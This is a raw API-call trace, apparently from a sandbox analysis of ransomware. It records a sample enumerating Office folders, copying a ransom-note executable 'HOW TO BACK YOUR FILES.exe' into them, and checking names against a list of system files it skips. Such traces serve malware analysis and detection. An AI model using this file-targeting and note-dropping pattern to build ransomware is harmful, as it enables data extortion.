	[0072.828] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR37F.GIF" | out: lpString1="ZPDIR37F.GIF") returned="ZPDIR37F.GIF"
	[0072.828] lstrlenW (lpString="ZPDIR37F.GIF") returned 12
	[0072.828] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR38F.GIF" | out: lpString1="ZPDIR38F.GIF") returned="ZPDIR38F.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR38F.GIF") returned 12
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR39F.GIF" | out: lpString1="ZPDIR39F.GIF") returned="ZPDIR39F.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR39F.GIF") returned 12
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR3B.GIF" | out: lpString1="ZPDIR3B.GIF") returned="ZPDIR3B.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR3B.GIF") returned 11
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR3F.GIF" | out: lpString1="ZPDIR3F.GIF") returned="ZPDIR3F.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR3F.GIF") returned 11
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR40F.GIF" | out: lpString1="ZPDIR40F.GIF") returned="ZPDIR40F.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR40F.GIF") returned 12
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR41F.GIF" | out: lpString1="ZPDIR41F.GIF") returned="ZPDIR41F.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR41F.GIF") returned 12
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.829] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR42F.GIF" | out: lpString1="ZPDIR42F.GIF") returned="ZPDIR42F.GIF"
	[0072.829] lstrlenW (lpString="ZPDIR42F.GIF") returned 12
	[0072.829] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR43B.GIF" | out: lpString1="ZPDIR43B.GIF") returned="ZPDIR43B.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR43B.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR43F.GIF" | out: lpString1="ZPDIR43F.GIF") returned="ZPDIR43F.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR43F.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR44B.GIF" | out: lpString1="ZPDIR44B.GIF") returned="ZPDIR44B.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR44B.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR44F.GIF" | out: lpString1="ZPDIR44F.GIF") returned="ZPDIR44F.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR44F.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR45B.GIF" | out: lpString1="ZPDIR45B.GIF") returned="ZPDIR45B.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR45B.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR45F.GIF" | out: lpString1="ZPDIR45F.GIF") returned="ZPDIR45F.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR45F.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR46B.GIF" | out: lpString1="ZPDIR46B.GIF") returned="ZPDIR46B.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR46B.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.830] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR46F.GIF" | out: lpString1="ZPDIR46F.GIF") returned="ZPDIR46F.GIF"
	[0072.830] lstrlenW (lpString="ZPDIR46F.GIF") returned 12
	[0072.830] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR47B.GIF" | out: lpString1="ZPDIR47B.GIF") returned="ZPDIR47B.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR47B.GIF") returned 12
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR47F.GIF" | out: lpString1="ZPDIR47F.GIF") returned="ZPDIR47F.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR47F.GIF") returned 12
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR48B.GIF" | out: lpString1="ZPDIR48B.GIF") returned="ZPDIR48B.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR48B.GIF") returned 12
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR48F.GIF" | out: lpString1="ZPDIR48F.GIF") returned="ZPDIR48F.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR48F.GIF") returned 12
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR49B.GIF" | out: lpString1="ZPDIR49B.GIF") returned="ZPDIR49B.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR49B.GIF") returned 12
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR49F.GIF" | out: lpString1="ZPDIR49F.GIF") returned="ZPDIR49F.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR49F.GIF") returned 12
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR4B.GIF" | out: lpString1="ZPDIR4B.GIF") returned="ZPDIR4B.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR4B.GIF") returned 11
	[0072.831] lstrlenW (lpString="Apollon865") returned 10
	[0072.831] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR4F.GIF" | out: lpString1="ZPDIR4F.GIF") returned="ZPDIR4F.GIF"
	[0072.831] lstrlenW (lpString="ZPDIR4F.GIF") returned 11
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR50B.GIF" | out: lpString1="ZPDIR50B.GIF") returned="ZPDIR50B.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR50B.GIF") returned 12
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR50F.GIF" | out: lpString1="ZPDIR50F.GIF") returned="ZPDIR50F.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR50F.GIF") returned 12
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR51B.GIF" | out: lpString1="ZPDIR51B.GIF") returned="ZPDIR51B.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR51B.GIF") returned 12
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR51F.GIF" | out: lpString1="ZPDIR51F.GIF") returned="ZPDIR51F.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR51F.GIF") returned 12
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR5B.GIF" | out: lpString1="ZPDIR5B.GIF") returned="ZPDIR5B.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR5B.GIF") returned 11
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR5F.GIF" | out: lpString1="ZPDIR5F.GIF") returned="ZPDIR5F.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR5F.GIF") returned 11
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR6B.GIF" | out: lpString1="ZPDIR6B.GIF") returned="ZPDIR6B.GIF"
	[0072.832] lstrlenW (lpString="ZPDIR6B.GIF") returned 11
	[0072.832] lstrlenW (lpString="Apollon865") returned 10
	[0072.832] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR6F.GIF" | out: lpString1="ZPDIR6F.GIF") returned="ZPDIR6F.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR6F.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR7B.GIF" | out: lpString1="ZPDIR7B.GIF") returned="ZPDIR7B.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR7B.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR7F.GIF" | out: lpString1="ZPDIR7F.GIF") returned="ZPDIR7F.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR7F.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR8B.GIF" | out: lpString1="ZPDIR8B.GIF") returned="ZPDIR8B.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR8B.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR8F.GIF" | out: lpString1="ZPDIR8F.GIF") returned="ZPDIR8F.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR8F.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR9B.GIF" | out: lpString1="ZPDIR9B.GIF") returned="ZPDIR9B.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR9B.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="ZPDIR9F.GIF" | out: lpString1="ZPDIR9F.GIF") returned="ZPDIR9F.GIF"
	[0072.833] lstrlenW (lpString="ZPDIR9F.GIF") returned 11
	[0072.833] lstrlenW (lpString="Apollon865") returned 10
	[0072.833] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM"
	[0072.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0072.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0072.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM") returned 56
	[0072.834] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM"
	[0072.834] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.834] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.839] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x437b8670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x437b8670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.840] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.840] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.840] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.840] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x437b8670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x437b8670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.841] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.841] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.841] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.841] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.841] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="Apollon865.txt.exe") returned 1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2=".") returned 1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="..") returned 1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="windows") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="bootmgr") returned 1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="temp") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="pagefile.sys") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="boot") returned 1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="ids.txt") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="ntuser.dat") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="perflogs") returned -1
	[0072.841] lstrcmpiW (lpString1="FONTSCHM.INI", lpString2="MSBuild") returned -1
	[0072.841] lstrlenW (lpString="FONTSCHM.INI") returned 12
	[0072.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*") returned 58
	[0072.841] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FONTSCHM.INI" | out: lpString1="FONTSCHM.INI") returned="FONTSCHM.INI"
	[0072.841] lstrlenW (lpString="FONTSCHM.INI") returned 12
	[0072.841] lstrlenW (lpString="Apollon865") returned 10
	[0072.841] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME01.CSS" | out: lpString1="SCHEME01.CSS") returned="SCHEME01.CSS"
	[0072.842] lstrlenW (lpString="SCHEME01.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME02.CSS" | out: lpString1="SCHEME02.CSS") returned="SCHEME02.CSS"
	[0072.842] lstrlenW (lpString="SCHEME02.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME03.CSS" | out: lpString1="SCHEME03.CSS") returned="SCHEME03.CSS"
	[0072.842] lstrlenW (lpString="SCHEME03.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME04.CSS" | out: lpString1="SCHEME04.CSS") returned="SCHEME04.CSS"
	[0072.842] lstrlenW (lpString="SCHEME04.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME05.CSS" | out: lpString1="SCHEME05.CSS") returned="SCHEME05.CSS"
	[0072.842] lstrlenW (lpString="SCHEME05.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME06.CSS" | out: lpString1="SCHEME06.CSS") returned="SCHEME06.CSS"
	[0072.842] lstrlenW (lpString="SCHEME06.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME07.CSS" | out: lpString1="SCHEME07.CSS") returned="SCHEME07.CSS"
	[0072.842] lstrlenW (lpString="SCHEME07.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.842] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME08.CSS" | out: lpString1="SCHEME08.CSS") returned="SCHEME08.CSS"
	[0072.842] lstrlenW (lpString="SCHEME08.CSS") returned 12
	[0072.842] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME09.CSS" | out: lpString1="SCHEME09.CSS") returned="SCHEME09.CSS"
	[0072.843] lstrlenW (lpString="SCHEME09.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME10.CSS" | out: lpString1="SCHEME10.CSS") returned="SCHEME10.CSS"
	[0072.843] lstrlenW (lpString="SCHEME10.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME11.CSS" | out: lpString1="SCHEME11.CSS") returned="SCHEME11.CSS"
	[0072.843] lstrlenW (lpString="SCHEME11.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME12.CSS" | out: lpString1="SCHEME12.CSS") returned="SCHEME12.CSS"
	[0072.843] lstrlenW (lpString="SCHEME12.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME13.CSS" | out: lpString1="SCHEME13.CSS") returned="SCHEME13.CSS"
	[0072.843] lstrlenW (lpString="SCHEME13.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME14.CSS" | out: lpString1="SCHEME14.CSS") returned="SCHEME14.CSS"
	[0072.843] lstrlenW (lpString="SCHEME14.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME15.CSS" | out: lpString1="SCHEME15.CSS") returned="SCHEME15.CSS"
	[0072.843] lstrlenW (lpString="SCHEME15.CSS") returned 12
	[0072.843] lstrlenW (lpString="Apollon865") returned 10
	[0072.843] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME16.CSS" | out: lpString1="SCHEME16.CSS") returned="SCHEME16.CSS"
	[0072.844] lstrlenW (lpString="SCHEME16.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME17.CSS" | out: lpString1="SCHEME17.CSS") returned="SCHEME17.CSS"
	[0072.844] lstrlenW (lpString="SCHEME17.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME18.CSS" | out: lpString1="SCHEME18.CSS") returned="SCHEME18.CSS"
	[0072.844] lstrlenW (lpString="SCHEME18.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME19.CSS" | out: lpString1="SCHEME19.CSS") returned="SCHEME19.CSS"
	[0072.844] lstrlenW (lpString="SCHEME19.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME20.CSS" | out: lpString1="SCHEME20.CSS") returned="SCHEME20.CSS"
	[0072.844] lstrlenW (lpString="SCHEME20.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME21.CSS" | out: lpString1="SCHEME21.CSS") returned="SCHEME21.CSS"
	[0072.844] lstrlenW (lpString="SCHEME21.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME22.CSS" | out: lpString1="SCHEME22.CSS") returned="SCHEME22.CSS"
	[0072.844] lstrlenW (lpString="SCHEME22.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.844] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME23.CSS" | out: lpString1="SCHEME23.CSS") returned="SCHEME23.CSS"
	[0072.844] lstrlenW (lpString="SCHEME23.CSS") returned 12
	[0072.844] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME24.CSS" | out: lpString1="SCHEME24.CSS") returned="SCHEME24.CSS"
	[0072.845] lstrlenW (lpString="SCHEME24.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME25.CSS" | out: lpString1="SCHEME25.CSS") returned="SCHEME25.CSS"
	[0072.845] lstrlenW (lpString="SCHEME25.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME26.CSS" | out: lpString1="SCHEME26.CSS") returned="SCHEME26.CSS"
	[0072.845] lstrlenW (lpString="SCHEME26.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME27.CSS" | out: lpString1="SCHEME27.CSS") returned="SCHEME27.CSS"
	[0072.845] lstrlenW (lpString="SCHEME27.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME28.CSS" | out: lpString1="SCHEME28.CSS") returned="SCHEME28.CSS"
	[0072.845] lstrlenW (lpString="SCHEME28.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME29.CSS" | out: lpString1="SCHEME29.CSS") returned="SCHEME29.CSS"
	[0072.845] lstrlenW (lpString="SCHEME29.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME30.CSS" | out: lpString1="SCHEME30.CSS") returned="SCHEME30.CSS"
	[0072.845] lstrlenW (lpString="SCHEME30.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.845] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME31.CSS" | out: lpString1="SCHEME31.CSS") returned="SCHEME31.CSS"
	[0072.845] lstrlenW (lpString="SCHEME31.CSS") returned 12
	[0072.845] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME32.CSS" | out: lpString1="SCHEME32.CSS") returned="SCHEME32.CSS"
	[0072.848] lstrlenW (lpString="SCHEME32.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME33.CSS" | out: lpString1="SCHEME33.CSS") returned="SCHEME33.CSS"
	[0072.848] lstrlenW (lpString="SCHEME33.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME34.CSS" | out: lpString1="SCHEME34.CSS") returned="SCHEME34.CSS"
	[0072.848] lstrlenW (lpString="SCHEME34.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME35.CSS" | out: lpString1="SCHEME35.CSS") returned="SCHEME35.CSS"
	[0072.848] lstrlenW (lpString="SCHEME35.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME36.CSS" | out: lpString1="SCHEME36.CSS") returned="SCHEME36.CSS"
	[0072.848] lstrlenW (lpString="SCHEME36.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME37.CSS" | out: lpString1="SCHEME37.CSS") returned="SCHEME37.CSS"
	[0072.848] lstrlenW (lpString="SCHEME37.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.848] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME38.CSS" | out: lpString1="SCHEME38.CSS") returned="SCHEME38.CSS"
	[0072.848] lstrlenW (lpString="SCHEME38.CSS") returned 12
	[0072.848] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME39.CSS" | out: lpString1="SCHEME39.CSS") returned="SCHEME39.CSS"
	[0072.849] lstrlenW (lpString="SCHEME39.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME40.CSS" | out: lpString1="SCHEME40.CSS") returned="SCHEME40.CSS"
	[0072.849] lstrlenW (lpString="SCHEME40.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME41.CSS" | out: lpString1="SCHEME41.CSS") returned="SCHEME41.CSS"
	[0072.849] lstrlenW (lpString="SCHEME41.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME42.CSS" | out: lpString1="SCHEME42.CSS") returned="SCHEME42.CSS"
	[0072.849] lstrlenW (lpString="SCHEME42.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME43.CSS" | out: lpString1="SCHEME43.CSS") returned="SCHEME43.CSS"
